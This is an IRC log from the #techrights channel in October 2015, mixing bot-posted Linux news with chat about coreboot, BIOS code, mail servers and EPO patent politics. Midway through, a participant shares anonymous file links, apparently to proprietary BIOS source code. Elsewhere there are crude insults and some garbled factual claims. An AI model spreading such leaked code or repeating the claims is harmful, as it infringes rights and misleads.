| TweetTuxMachines | @tuxmachines Clonezilla Live 2.4.2-59 Arrives with Updated | Oct 08 17:37 |
| TweetTuxMachines | Debian Base http://t.co/t8ts4VVJRQ | Oct 08 17:37 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Clonezilla Live 2.4.2-59 Arrives with Updated Debian Base | Tux Machines | Oct 08 17:37 | |
| TweetTuxMachines | @tuxmachines GnuCash 2.6.9 Free Accounting Software Patches | Oct 08 17:57 |
| TweetTuxMachines | Serious Bug on Windows OSes | Oct 08 17:57 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | GnuCash 2.6.9 Free Accounting Software Patches Serious Bug on Windows OSes | Tux Machines | Oct 08 17:57 | |
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| cubexyz | yeah Garrett is a bit of a goof | Oct 08 18:23 |
| cubexyz | he actually seems anti-coreboot | Oct 08 18:23 |
| MinceR | coreboot is not PC enough for him? | Oct 08 18:25 |
| cubexyz | he's saying that coreboot "doesn't solve the problem" | Oct 08 18:25 |
| MinceR | which problem? | Oct 08 18:25 |
| MinceR | that we can still boot OSes that m$ doesn't want us to boot? | Oct 08 18:26 |
| MinceR | or that the system firmware isn't bigger than the kernel? | Oct 08 18:26 |
| cubexyz | http://www.maxhost.org/other/garrett-on-coreboot.txt | Oct 08 18:28 |
| cubexyz | basically it boils down to if one can turn off secure boot, you're OK | Oct 08 18:29 |
| MinceR | there are other problems it solves | Oct 08 18:30 |
| MinceR | but i guess those don't matter to garrett | Oct 08 18:30 |
| cubexyz | I don't buy the boogeyman argument | Oct 08 18:30 |
| MinceR | like not using a huge bloated bug-ridden hairball to boot your system | Oct 08 18:30 |
| cubexyz | it's very unlikely that a hacker could overwrite your BIOS | Oct 08 18:31 |
| cubexyz | possible, but very unlikely | Oct 08 18:31 |
| MinceR | maybe they'll proliferate such malware | Oct 08 18:31 |
| MinceR | to justify locking people into dumb appliances | Oct 08 18:31 |
| cubexyz | I think that would be my real fear: Microsoft lock-in | Oct 08 18:32 |
| cubexyz | not boogeyman hackers | Oct 08 18:32 |
| MinceR | intel doesn't want you to even be aware of that possibility | Oct 08 18:34 |
| MinceR | maybe redcrap believes it can't happen | Oct 08 18:34 |
| MinceR | or they got promises to be paid off if they're locked out of the market | Oct 08 18:34 |
| cubexyz | from the info I've gathered it seems Gigabyte and Google are the two companies which are the most pro-coreboot | Oct 08 18:38 |
| cubexyz | some Gigabyte boards have dual SPI flash bios circuits | Oct 08 18:39 |
| cubexyz | you can toggle which BIOS you boot from | Oct 08 18:39 |
| cubexyz | perfect for experimenting purposes | Oct 08 18:40 |
| msb_ | Here's a possible free-speech/more-speech solution for the SJW's concerns: A computer game that enables girls and women to grab a knife and eviscerate their rapist-attacker, watching the blood pour out of him and hearing him scream and then die, over and over again. RT just mentioned a computer game called Killbox, which enables the player to pilot a drone and murder people, and then experience the same attack as a person on the | Oct 08 18:48 |
| msb_ | ground, trying to stay alive. http://motherboard.vice.com/read/in-this-game-you-play-a-drone-pilot-then-a-drone-target http://www.killbox.info/ | Oct 08 18:48 |
| -TechrightsBot-tr/#techrights-motherboard.vice.com | In This Game You Play a Drone Pilot, Then a Drone Target | Motherboard [ http://ur1.ca/nyodd ] | Oct 08 18:48 | |
| -TechrightsBot-tr/#techrights-www.killbox.info | Killbox | Oct 08 18:48 | |
| MinceR | go develop it, then | Oct 08 18:48 |
| msb_ | Busy doing other things, but maybe I can e-mail the suggestion to Sarah Sharp. | Oct 08 18:50 |
| MinceR | or you could hire somebody to do it | Oct 08 18:50 |
| msb_ | No money. | Oct 08 18:50 |
| MinceR | i'm sure there are plenty of rich sjws who are interested in funding such a project | Oct 08 18:55 |
| msb_ | "like not using a huge bloated bug-ridden hairball to boot your system" It's likely that the BIOS code used by reputable mobo manufacturers, having evolved through dozens of different models, is very well debugged and well structured. | Oct 08 18:56 |
| MinceR | seems unlikely, but at least it was probably designed with more thought than uefi | Oct 08 18:57 |
| MinceR | and they had plenty of time to fix bugs | Oct 08 18:57 |
| cubexyz | well it is and it isn't... | Oct 08 18:57 |
| MinceR | also, locking users into winblows and macos probably wasn't a primary design goal | Oct 08 18:57 |
| cubexyz | AMI BIOS source code is fairly convoluted | Oct 08 18:57 |
| MinceR | back then, i mean | Oct 08 18:58 |
| MinceR | as opposed to uefi | Oct 08 18:58 |
| cubexyz | 1999 era BIOS source code is convoluted | Oct 08 18:58 |
| cubexyz | modern BIOS code is even more voluminous | Oct 08 18:58 |
| cubexyz | no, it is true there was no lock-in back in 1999 and before | Oct 08 18:59 |
| msb_ | cubexyz: Where can we find AMI BIOS source code, or modern BIOS code? | Oct 08 18:59 |
| cubexyz | people are rather reluctant to post it, but there used to be some Russian sites and torrents that had some | Oct 08 19:00 |
| cubexyz | 286 BIOS should be easy to find | Oct 08 19:00 |
| msb_ | Yay! Vladimir Putin the Hero of the People comes through again! 8^) | Oct 08 19:03 |
| *MinceR facepalms | Oct 08 19:03 | |
| msb_ | MinceR: After you've replaced the exploded pieces of your brain back into your head, you may not quote that line without the smiley. | Oct 08 19:06 |
| MinceR | :crickets: | Oct 08 19:06 |
| msb_ | http://cosmicpenguin.com/misc/62---Night-Atmosphere---Crickets,-Frogs,-Ducks.mp3 | Oct 08 19:13 |
| msb_ | I once worked in a lab where we bought crickets to feed the experimental frogs. A box full of crickets got loose and they chirped continuously for weeks. We were never able to find them. | Oct 08 19:20 |
| MinceR | lol | Oct 08 19:26 |
| schestowitz | https://joindiaspora.com/posts/6670549 | Oct 08 19:27 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #clinton wants to have gun suppliers liable for mass murders (hence sued). OK, so #syria can sue #pentagon McCain and Clinton? | Oct 08 19:27 | |
| schestowitz | ""What comes next? Making Microsoft liable of her setting up an unauthorized and illegal mail server?" | Oct 08 19:27 |
| schestowitz | I have always been trying to find clear evidence that she uses Exchange/MS for it... | Oct 08 19:27 |
| cubexyz | true Unix peeps use sendmail :) | Oct 08 19:41 |
| MinceR | not postfix? | Oct 08 19:42 |
| cubexyz | well delivermail is the original mail transport agent | Oct 08 19:43 |
| MinceR | looks like clinton has a pretty tenuous grip on the concept of responsibility | Oct 08 19:43 |
| MinceR | also, rule of law | Oct 08 19:43 |
| cubexyz | MTAs actually used ftp for mail delivery in the early days | Oct 08 19:43 |
| cubexyz | but 2.11BSD is sendmail, and quasijarus is sendmail | Oct 08 19:44 |
| cubexyz | I still use it | Oct 08 19:44 |
| cubexyz | postfix came on the scene far later on | Oct 08 19:45 |
| cubexyz | 1997 or so | Oct 08 19:45 |
| cubexyz | that's from IBM-land | Oct 08 19:45 |
| MinceR | https://pbs.twimg.com/media/CQ0gYTKWoAM-RAG.png | Oct 08 19:47 |
| cubexyz | sendmail == BSD | Oct 08 19:47 |
| cubexyz | postfix == IBM | Oct 08 19:47 |
| cubexyz | which is the more Unixy? | Oct 08 19:47 |
| MinceR | i've never seen postfix associated with ibm | Oct 08 19:47 |
| cubexyz | why do you think postfix uses the IBM Public License? | Oct 08 19:48 |
| MinceR | i didn't know it did | Oct 08 19:48 |
| MinceR | it even used to be called "IBM Secure Mailer", apparently | Oct 08 19:49 |
| cubexyz | Wiestse Zweitze is at Google now | Oct 08 19:49 |
| MinceR | not Wietse Venema? | Oct 08 19:49 |
| cubexyz | ah, it is Venema yes, sorry Zweitze must be a middle name | Oct 08 19:50 |
| cubexyz | 2.11BSD might actually be more "up to date" than quasijarus | Oct 08 20:07 |
| cubexyz | I haven't heard of anyone working on quasijarus in a long time | Oct 08 20:08 |
| cubexyz | but I do know that the PDP-11 aficionados working on 2.11BSD, myself included | Oct 08 20:08 |
| cubexyz | s/working/are working/ | Oct 08 20:09 |
| cubexyz | ok msb_, I think I got a link for you | Oct 08 20:12 |
| cubexyz | I looked into PDP-11 and there is no real equivalent to PC BIOS on PDP-11 | Oct 08 20:13 |
| cubexyz | wow, they really scrubbed all the BIOS links | Oct 08 20:17 |
| cubexyz | https://filetea.me/t1skxtmtr4oSF2IfTZmNgcR9w | Oct 08 20:21 |
| -TechrightsBot-tr/#techrights-filetea.me | FileTea, anonymous, volatile file sharing [ http://ur1.ca/nyp4d ] | Oct 08 20:21 | |
| cubexyz | oops, how did that get there? | Oct 08 20:22 |
| MinceR | must be an accidental paste | Oct 08 20:22 |
| cubexyz | don't look NSA | Oct 08 20:22 |
| MinceR | too late, they started looking ages ago | Oct 08 20:23 |
| MinceR | i can try to summon the rest of the gang if you want | Oct 08 20:23 |
| MinceR | M-x spook | Oct 08 20:23 |
| MinceR | :> | Oct 08 20:23 |
| cubexyz | can't believe none of the Russian links work | Oct 08 20:24 |
| msb_ | Was that filetea page supposed to do something? I just got a blank page. But now my computer is looking at me funny. | Oct 08 20:39 |
| MinceR | with javascript it allows you to download a file | Oct 08 20:40 |
| MinceR | without javascript it won't do much | Oct 08 20:40 |
| msb_ | I don't have an option for turning javascript off. | Oct 08 20:46 |
| cubexyz | hmmm, I need a better way to do this | Oct 08 20:47 |
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| MinceR | refreshing might help | Oct 08 20:49 |
| MinceR | actually it stopped working for me too | Oct 08 20:49 |
| MinceR | maybe they took the file down | Oct 08 20:49 |
| cubexyz | possible | Oct 08 20:49 |
| MinceR | a bit too volatile, perhaps | Oct 08 20:49 |
| cubexyz | https://filetea.me/default/#t1sEn32gwY2RNmXoETMxxOjyA | Oct 08 20:50 |
| -TechrightsBot-tr/#techrights-filetea.me | FileTea, anonymous, volatile file sharing [ http://ur1.ca/nypce ] | Oct 08 20:50 | |
| cubexyz | it closes itself if the sender closes the tab | Oct 08 20:51 |
| MinceR | ah, so that's what they meant by "volatile" | Oct 08 20:51 |
| cubexyz | yes :) | Oct 08 20:51 |
| *TweetTuxMachines @softpedialinux favourited 'Clonezilla Live 2.4.2-59 Arrives with Updated Debian Base...' | Oct 08 20:52 | |
| msb_ | Wanna see my Kitty Porn? | Oct 08 20:53 |
| cubexyz | reminds me of a funny story about source code | Oct 08 20:53 |
| cubexyz | Company A makes programmer B sign an NDA | Oct 08 20:53 |
| cubexyz | which states after the programming work is done and forwarded you must delete all copies | Oct 08 20:54 |
| cubexyz | several years later Company A is asking programmer B "uh.... do you still have the code?" | Oct 08 20:54 |
| cubexyz | anyways, now you know why a lot of bugs are never fixed | Oct 08 20:55 |
| MinceR | :> | Oct 08 20:56 |
| msb_ | It could be a trap. Company A found out that Company C has the code, and is looking for an excuse to sue Programmer B. | Oct 08 20:58 |
| MinceR | indeed | Oct 08 20:58 |
| cubexyz | no, it was just a cock up | Oct 08 20:58 |
| cubexyz | lots of stuff gets lost | Oct 08 20:59 |
| cubexyz | another thing I wondered about... does the NDA ever expire? | Oct 08 21:01 |
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| cubexyz | what am I supposed to do with all these cola recipes? | Oct 08 21:02 |
| cubexyz | ah, there's a "in perpetuity" clause | Oct 08 21:03 |
| msb_ | Damn I wish I were rich! http://www.npr.org/sections/thetwo-way/2015/09/30/444721375/tesla-unveils-its-model-x-complete-with-a-bioweapon-defense-button | Oct 08 21:23 |
| -TechrightsBot-tr/#techrights-www.npr.org | Tesla Unveils Its Model X, Complete With A 'Bioweapon Defense' Button : The Two-Way : NPR [ http://ur1.ca/nypjl ] | Oct 08 21:23 | |
| MinceR | they should call when it's complete with reliability | Oct 08 21:25 |
| msb_ | At least it won't be shooting soot out of its tail. | Oct 08 21:26 |
| MinceR | full of pointless boondoggles | Oct 08 21:26 |
| MinceR | yeah, it will especially not generate pollution when the software crashes and the car grinds to a halt | Oct 08 21:26 |
| msb_ | Always the optimist! | Oct 08 21:27 |
| msb_ | How do you charge a 90 KW-hour battery? Mr. Fusion? | Oct 08 21:30 |
| MinceR | i wish. | Oct 08 21:30 |
| MinceR | "The company claims it's 300 times better at filtering bacteria, 500 times better at filtering allergens, 700 times better at filtering smog, and 800 times better at filtering viruses." | Oct 08 21:32 |
| MinceR | so if the normal car's air filter doesn't help you at all against bacteria and viruses, then this one will help you 300 and 500 times zero, respectively | Oct 08 21:32 |
| msb_ | At least it will keep out the Zombie Virus that the govt will be releasing in 2016. Fresh Brains!!! | Oct 08 21:35 |
| MinceR | or it won't | Oct 08 21:36 |
| MinceR | we don't really find out from the article | Oct 08 21:36 |
| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/G9GxjrUyJd | Oct 08 21:37 |
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| TweetTuxMachines | @schestowitz | Oct 08 21:37 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 08 21:37 | |
| msb_ | My brain uses triple-stranded DNA. Zombies can't touch it! | Oct 08 21:39 |
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| TweetTuxMachines | @tuxmachines “in spite of Linux being a stretch goal that | Oct 09 02:55 |
| TweetTuxMachines | retweeted by wasn’t reached, the game got a day-one release | Oct 09 02:55 |
| TweetTuxMachines | @timeraner for Linux yesterday.” https://t.co/uBVGOFlIzz | Oct 09 02:55 |
| TweetTuxMachines | (www.gamingonlinux.com) | Oct 09 02:55 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo | GamingOnLinux | Oct 09 02:55 | |
| schestowitz | https://twitter.com/Frittmann/status/652248826078597120 | Oct 09 03:06 |
| -TechrightsBot-tr/#techrights-@Frittmann: @dnlongen I see you've got many of my other faves in there: Krebs, Cluely, Hunt, Schneier. You should also check out @Schestowitz. | Oct 09 03:06 | |
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| schestowitz | https://twitter.com/FOSSpatents/status/652363577991503872 https://twitter.com/FOSSpatents/status/652363876567261184 https://twitter.com/Twpalovi/status/652378112190205953 | Oct 09 03:20 |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz Blatterstelli is planning s.th. very bad (re. judicial independence, due process) at next week's Admin Council meeting. | Oct 09 03:20 | |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz I've seen a document from Admin Council meeting preparation but I'm presently not blogging about patents (just copyright). | Oct 09 03:20 | |
| -TechrightsBot-tr/#techrights-@Twpalovi: @FOSSpatents @schestowitz No doubt @JohnAlty1 will put his for down. | Oct 09 03:20 | |
| TweetTuxMachines | @tuxmachines Netrunner Rolling 2015.09 Released With New | Oct 09 03:32 |
| TweetTuxMachines | Plasma 5 And Apps Updates | Oct 09 03:32 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Netrunner Rolling 2015.09 Released With New Plasma 5 And Apps Updates | Tux Machines | Oct 09 03:32 | |
| TweetTuxMachines | @tuxmachines Android Marshmallow update hitting budget | Oct 09 03:33 |
| TweetTuxMachines | phones before yours | Oct 09 03:33 |
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| -TechrightsBot-tr/#techrights-www.slashgear.com | Android Marshmallow update hitting budget phones before yours - SlashGear | Oct 09 03:33 | |
| schestowitz | https://twitter.com/JohnAlty1/status/652385906062663681 | Oct 09 03:33 |
| -TechrightsBot-tr/#techrights-@JohnAlty1: @Twpalovi @FOSSpatents @schestowitz no doubt I will. | Oct 09 03:33 | |
| TweetTuxMachines | @tuxmachines Enlightenment 0.20 Alpha Has Full Wayland | Oct 09 03:33 |
| TweetTuxMachines | Support, Better FreeBSD Support | Oct 09 03:33 |
| schestowitz | Will there be a challenge from the UK? | Oct 09 03:33 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Enlightenment 0.20 Alpha Has Full Wayland Support, Better FreeBSD Support - Phoronix | Oct 09 03:33 | |
| TweetTuxMachines | @tuxmachines MATE-Desktop 1.11 Released, Working Towards | Oct 09 03:38 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | MATE-Desktop 1.11 Released, Working Towards MATE 1.12 - Phoronix | Oct 09 03:38 | |
| TweetTuxMachines | @tuxmachines GParted Live Gets the Latest Updates from | Oct 09 03:38 |
| TweetTuxMachines | Debian Sid | Oct 09 03:38 |
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| TweetTuxMachines | "small bootable GNU/Linux distribution" | Oct 09 03:38 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | GParted Live Gets the Latest Updates from Debian Sid - Softpedia | Oct 09 03:38 | |
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| -TechrightsBot-tr/#techrights-t1t.us | Get More Twitter 1000 Free Followers at t1t.us | Oct 09 03:41 | |
| TweetTuxMachines | @tuxmachines Android 6.0 Marshmallow review | Oct 09 03:41 |
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| -TechrightsBot-tr/#techrights-www.digitaltrends.com | Android 6.0 Marshmallow Review | Digital Trends | Oct 09 03:41 | |
| TweetTuxMachines | @tuxmachines Running Some Fresh BSD vs. Linux Benchmarks | Oct 09 03:42 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Running Some Fresh BSD vs. Linux Benchmarks - Phoronix | Oct 09 03:42 | |
| TweetTuxMachines | @tuxmachines Clonezilla Live 2.4.2-59 Arrives with Updated | Oct 09 03:42 |
| TweetTuxMachines | Debian Base http://t.co/gYhy7VRndJ | Oct 09 03:42 |
| TweetTuxMachines | (linux.softpedia.com) | Oct 09 03:42 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | Clonezilla Live 2.4.2-59 Arrives with Updated Debian Base - Softpedia | Oct 09 03:42 | |
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| schestowitz | "Think of the notorious cases when DG3 has found a blockbuster patent (pharma, telecoms) invalid. Blown away, throughout Europe, in one fell swoop. What does that do to the blood pressure of the CEO of the patent owner? Who do they think they are, at the EPO, the Big Boss fumes. They should know their place, It is me, not some scrivening Patent Office jobsworth, who drives my business." | Oct 09 04:11 |
| schestowitz | http://ipkitten.blogspot.co.uk/2015/10/viennese-waltz-may-be-last-dance-for.html | Oct 09 04:11 |
| -TechrightsBot-tr/#techrights-ipkitten.blogspot.co.uk | The IPKat: Viennese waltz may be the last dance for Board members [ http://ur1.ca/nys0s ] | Oct 09 04:11 | |
| schestowitz | " | Oct 09 04:11 |
| schestowitz | We are asked to suppose that the reason for requiring the judges of DG3 to move to Vienna or face the sack is: | Oct 09 04:11 |
| schestowitz | "...showing this group of ungrateful judges who's really the boss, who's in control of their careers" | Oct 09 04:12 |
| schestowitz | At first sight, it seems ridiculous, that the AC can allow the President to behave like this, and destroy the fount of the highly respected and intellectually sound and coherent jurisprudence on the substantive law of validity of patents in Europe. But is it? | Oct 09 04:12 |
| schestowitz | Elsewhere in the blogosphere, we read that what suits the power users of the patent system, in their struggles to hold down the upstarts of this world, is legal UNcertainty. The judges of DG3 have upset not only the ego of the EPO President but also the egos of quite a few CEO's of giant corporations. There are no Champions of the EPO amongst their ranks. These CEO's (it is thought that many of them are in fact sociopaths) are the masters of | Oct 09 04:12 |
| schestowitz | the universe whose minions and lobbyists explain to ministers in national governments where their duty lies. Ist so. And these governments in turn explain to their delegates on the EPO's AC how to vote. In being responsive to the minions and lobbyists, BB is only doing the bidding of his masters. Ist so. | Oct 09 04:12 |
| schestowitz | But what of the public? Is legal uncertainty good for it? Is a coherent pan-European body of caselaw on patent validity a Good Thing for the public? | Oct 09 04:12 |
| schestowitz | Remember "What's good for GM is good for America"? When it comes to patent law, is "What's good for VW" (for example) good for Europe? | Oct 09 04:12 |
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| TweetTuxMachines | @tuxmachines GnuCash 2.6.9 Free Accounting Software Patches | Oct 09 05:10 |
| TweetTuxMachines | Serious Bug on Windows OSes | Oct 09 05:10 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | GnuCash 2.6.9 Free Accounting Software Patches Serious Bug on Windows OSes - Softpedia | Oct 09 05:11 | |
| TweetTuxMachines | @tuxmachines Netrunner Rolling 2015.09 Released With New | Oct 09 05:11 |
| TweetTuxMachines | Plasma 5 And Apps updates | Oct 09 05:11 |
| TweetTuxMachines | http://t.co/bA32xsrCcV (www.linuxandubuntu.com) | Oct 09 05:11 |
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| -TechrightsBot-tr/#techrights-www.linuxandubuntu.com | Netrunner Rolling 2015.09 Released With New Plasma 5 And Apps Updates - LinuxAndUbuntu | Oct 09 05:11 | |
| TweetTuxMachines | @tuxmachines Mobile Linux (e.g. Android) Still a Victim of | Oct 09 05:34 |
| TweetTuxMachines | Software Patents, No Peace in Sight | Oct 09 05:34 |
| TweetTuxMachines | http://t.co/qzjWHow1Sg (techrights.org) | Oct 09 05:34 |
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| -TechrightsBot-tr/#techrights-techrights.org | Mobile Linux (e.g. Android) Still a Victim of Software Patents, No Peace in Sight | Techrights | Oct 09 05:35 | |
| TweetTuxMachines | @tuxmachines GNOME 3.18.1 newstable tarballs due | Oct 09 05:35 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | GNOME 3.18.1 newstable tarballs due | Tux Machines | Oct 09 05:35 | |
| TweetTuxMachines | @tuxmachines SUSE Announces SUSE Linux Enterprise Server for | Oct 09 05:35 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | SUSE Announces SUSE Linux Enterprise Server for SAP Apps on Amazon Web Services | Tux Machines | Oct 09 05:35 | |
| TweetTuxMachines | @tuxmachines CC BY-SA 4.0 now one-way compatible with GPLv3 | Oct 09 05:35 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | CC BY-SA 4.0 now one-way compatible with GPLv3 | Tux Machines | Oct 09 05:35 | |
| TweetTuxMachines | @tuxmachines U.S. report highlights positive elements of | Oct 09 05:44 |
| TweetTuxMachines | government open source adoption | Oct 09 05:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | U.S. report highlights positive elements of government open source adoption | Tux Machines | Oct 09 05:44 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 09 05:45 | |
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| *TweetTuxMachines @The_Code_Shirts retweeted @tuxmachines: 'Mobile Linux (e.g. Android) Still a Victim of...' | Oct 09 06:00 | |
| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'Today in Techrights http://t.co/uDhH3DAcTv' | Oct 09 06:12 | |
| TweetTuxMachines | @tuxmachines Nvidia Shield Android TV: A powerful do-it-all | Oct 09 06:12 |
| TweetTuxMachines | box that lacks content http://t.co/TwjDuLtHHP | Oct 09 06:12 |
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| -TechrightsBot-tr/#techrights-arstechnica.com | Nvidia Shield Android TV: A powerful do-it-all box that lacks content | Ars Technica | Oct 09 06:12 | |
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| TweetTuxMachines | @tuxmachines Android-powered Priv phone is a make-or-break | Oct 09 06:20 |
| TweetTuxMachines | venture for BlackBerry, CEO says | Oct 09 06:20 |
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| -TechrightsBot-tr/#techrights-www.thestar.com | Android-powered Priv phone is a make-or-break venture for BlackBerry, CEO says | Toronto Star | Oct 09 06:20 | |
| TweetTuxMachines | @tuxmachines Review: Android Pay works well, when you can | Oct 09 06:20 |
| TweetTuxMachines | use it http://t.co/4AUE6Xxnim (m.phys.org) OK | Oct 09 06:20 |
| TweetTuxMachines | when cash payments not an option | Oct 09 06:20 |
| -TechrightsBot-tr/#techrights-phys.org | Review: Android Pay works well, when you can use it | Oct 09 06:20 | |
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| TweetTuxMachines | @tuxmachines CC BY-SA 4.0 now one-way compatible with GPLv3 | Oct 09 06:33 |
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| -TechrightsBot-tr/#techrights-creativecommons.org | CC BY-SA 4.0 now one-way compatible with GPLv3 - Creative Commons | Oct 09 06:33 | |
| TweetTuxMachines | @tuxmachines Video: Recent public talk with Linus Torvalds | Oct 09 06:33 |
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| -TechrightsBot-tr/#techrights-www.montanalinux.org | Video: Recent public talk with Linus Torvalds | MontanaLinux.org | Oct 09 06:33 | |
| TweetTuxMachines | @tuxmachines "GNOME Twitch is a GNOME 3 application" | Oct 09 06:33 |
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| -TechrightsBot-tr/#techrights-www.webupd8.org | Watch Twitch Without Flash On Your Desktop With GNOME Twitch ~ Web Upd8: Ubuntu / Linux blog | Oct 09 06:33 | |
| TweetTuxMachines | @tuxmachines Expandable Panel PCs run Linux on dual-core Bay | Oct 09 06:42 |
| TweetTuxMachines | Trail Atom http://t.co/qSPZDP4KMm | Oct 09 06:42 |
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| -TechrightsBot-tr/#techrights-linuxgizmos.com | Expandable Panel PCs run Linux on dual-core Bay Trail Atom · LinuxGizmos.com | Oct 09 06:42 | |
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| *TweetTuxMachines @BogdanEnbaev favourited '"GNOME Twitch is a GNOME 3 application" http://t.co/X1rvonXqR5' | Oct 09 06:42 | |
| TweetTuxMachines | @tuxmachines Spice Vulnerabilities Closed in Ubuntu 14.04 | Oct 09 06:56 |
| TweetTuxMachines | LTS and Ubuntu 15.04 | Oct 09 06:56 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Spice Vulnerabilities Closed in Ubuntu 14.04 LTS and Ubuntu 15.04 - Softpedia | Oct 09 06:56 | |
| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/0TLOAQ2AQL | Oct 09 06:56 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 09 06:56 | |
| TweetTuxMachines | @tuxmachines IBM and Servers http://t.co/qdhU3l26sV | Oct 09 06:56 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | IBM and Servers | Tux Machines | Oct 09 06:56 | |
| TweetTuxMachines | @tuxmachines LinuxCon Europe and Embedded Linux Conference | Oct 09 06:56 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LinuxCon Europe and Embedded Linux Conference Europe | Tux Machines | Oct 09 06:56 | |
| TweetTuxMachines | @tuxmachines Using open source principles to build better | Oct 09 07:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Using open source principles to build better engineering teams | Tux Machines | Oct 09 07:04 | |
| TweetTuxMachines | @tuxmachines How Xen Manages Security Disclosure | Oct 09 07:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | How Xen Manages Security Disclosure | Tux Machines | Oct 09 07:04 | |
| TweetTuxMachines | @tuxmachines Vendetta Online 1.8.354 3D Space Combat Game | Oct 09 07:05 |
| TweetTuxMachines | Gets Multi-Threaded Physics Engine | Oct 09 07:05 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Vendetta Online 1.8.354 3D Space Combat Game Gets Multi-Threaded Physics Engine - Softpedia | Oct 09 07:05 | |
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| Witness | Helizabeth Hardon has sent a letter to the AC of EPO accusing the president of harassement. http://postimg.org/gallery/1jtws5d46/ enjoy. | Oct 09 07:19 |
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| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Update Is Being Tested, on | Oct 09 07:21 |
| TweetTuxMachines | Track for October Launch http://t.co/vbApVe1dtA | Oct 09 07:21 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu Touch OTA-7 Update Is Being Tested, on Track for October Launch - Softpedia | Oct 09 07:21 | |
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| msb_ | "Video: Recent public talk with Linus Torvalds" -- not a word about systemd! | Oct 09 08:16 |
| TweetTuxMachines | @tuxmachines AMD Makes Open-Source "Iceland" GPU Support | Oct 09 08:16 |
| TweetTuxMachines | Experimental In Linux 4.3 | Oct 09 08:16 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | AMD Makes Open-Source "Iceland" GPU Support Experimental In Linux 4.3 - Phoronix | Oct 09 08:16 | |
| TweetTuxMachines | @tuxmachines Beyond Earth – Rising Tide Arrives on Linux | Oct 09 08:16 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Beyond Earth – Rising Tide Arrives on Linux Today - Softpedia | Oct 09 08:16 | |
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| TweetTuxMachines | @tuxmachines Android Leftovers http://t.co/dcUbcG5VB3 | Oct 09 08:16 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android Leftovers | Tux Machines | Oct 09 08:16 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Security Leftovers | Tux Machines | Oct 09 08:17 | |
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| TweetTuxMachines | @tuxmachines Phoronix on Graphics http://t.co/74BOspPu9L | Oct 09 13:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Phoronix on Graphics | Tux Machines | Oct 09 13:52 | |
| TweetTuxMachines | @tuxmachines Enlightenment, KDE, and GNOME | Oct 09 13:52 |
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| -TechrightsBot-tr/#techrights-@mozhefa: @schestowitz : all from those arrogant twats, so proud of distance between them n jungle life, they'd rather die than climb a tree. | Oct 09 14:13 | |
| TweetTuxMachines | @tuxmachines Linksys Endorses OpenWrt Linux-Based Open | Oct 09 15:13 |
| TweetTuxMachines | Source OS in Latest Router | Oct 09 15:13 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linksys Endorses OpenWrt Linux-Based Open Source OS in Latest Router | Tux Machines | Oct 09 15:13 | |
| TweetTuxMachines | @tuxmachines Examining the KNIME open source data analytics | Oct 09 15:13 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Examining the KNIME open source data analytics platform | Tux Machines | Oct 09 15:13 | |
| TweetTuxMachines | @tuxmachines Linux Foundation: Security Challenges Threaten | Oct 09 15:52 |
| TweetTuxMachines | ‘Golden Age’ Of Open Source | Oct 09 15:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Foundation: Security Challenges Threaten ‘Golden Age’ Of Open Source | Tux Machines | Oct 09 15:52 | |
| TweetTuxMachines | @tuxmachines Mozilla Continues Moving Away From NPAPI | Oct 09 15:52 |
| TweetTuxMachines | Plugins http://t.co/aPEmoMxp50 | Oct 09 15:52 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Mozilla Continues Moving Away From NPAPI Plugins | Tux Machines | Oct 09 15:52 | |
| TweetTuxMachines | @tuxmachines Oneplus One with Ubuntu Touch Just Got Cellular | Oct 09 15:53 |
| TweetTuxMachines | Support http://t.co/KGJACmsnxM | Oct 09 15:53 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Oneplus One with Ubuntu Touch Just Got Cellular Support | Tux Machines | Oct 09 15:53 | |
| *TweetTuxMachines @softpedialinux favourited 'Oneplus One with Ubuntu Touch Just Got Cellular...' | Oct 09 16:30 | |
| TweetTuxMachines | @tuxmachines New Renesas SoCs offer 1.5GHz, 1080p, GbE, USB | Oct 09 16:31 |
| TweetTuxMachines | 3.0, PCIe http://t.co/KQ9TZV9cDj | Oct 09 16:31 |
